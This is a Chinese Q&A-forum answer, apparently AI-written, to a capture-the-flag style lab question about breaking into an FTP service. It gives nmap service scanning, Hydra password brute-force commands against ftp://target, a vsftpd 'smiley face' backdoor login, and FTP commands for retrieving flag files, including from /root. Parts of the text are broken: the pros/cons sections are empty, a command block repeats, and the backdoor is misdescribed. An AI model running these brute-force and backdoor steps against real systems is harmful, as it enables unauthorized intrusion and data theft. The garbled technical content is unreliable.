
从第二题往后,进行渗透测试的话,用ftp_login直接破解密码好还是直接用ftp笑脸漏洞直接登录提取
关注让【宝码香车】来帮你解答,本回答参考DeepSeek编写,并整理提供。
如果还有疑问可以点击头像关注私信或评论。如果答案让您满意,请采纳、点赞、关注,非常感谢!
首先使用nmap进行端口扫描和服务版本识别:
nmap -sV 靶机IP地址
在结果中查找21端口对应的服务版本信息字符串作为Flag提交。
对于后续题目,需要访问靶机文件系统,有以下两种主要方法:
hydra -l 用户名 -P 密码字典.txt ftp://靶机IP地址
优点:
缺点:
ftp 靶机IP地址
用户名: anything)
密码: anything
优点:
缺点:
首先尝试笑脸漏洞(快速简单):
ftp 靶机IP地址
# 使用")"作为用户名尝试匿名登录
如果笑脸漏洞不可用,再尝试暴力破解:
hydra -L 用户名字典.txt -P 密码字典.txt ftp://靶机IP地址 -t 4
成功登录后,使用FTP命令获取所需文件:
ftp> cd /var/www
ftp> ls *.bmp
ftp> get 文件名.bmp
ftp> cd /var/www
ftp> ls *.bmp
ftp> get 文件名.bmp
# 然后用图像查看工具或strings命令查看图片内容
strings 文件名.bmp | grep -i flag
ftp> cd /home/guest
ftp> ls *.pdf
ftp> get 文件名.pdf
ftp> cd /var/vsftpd
ftp> ls *.docx
ftp> get 文件名.docx
ftp> cd /root
ftp> ls *.txt
ftp> get 文件名.txt
注意:如果无法直接访问/root目录,可能需要先获取root权限。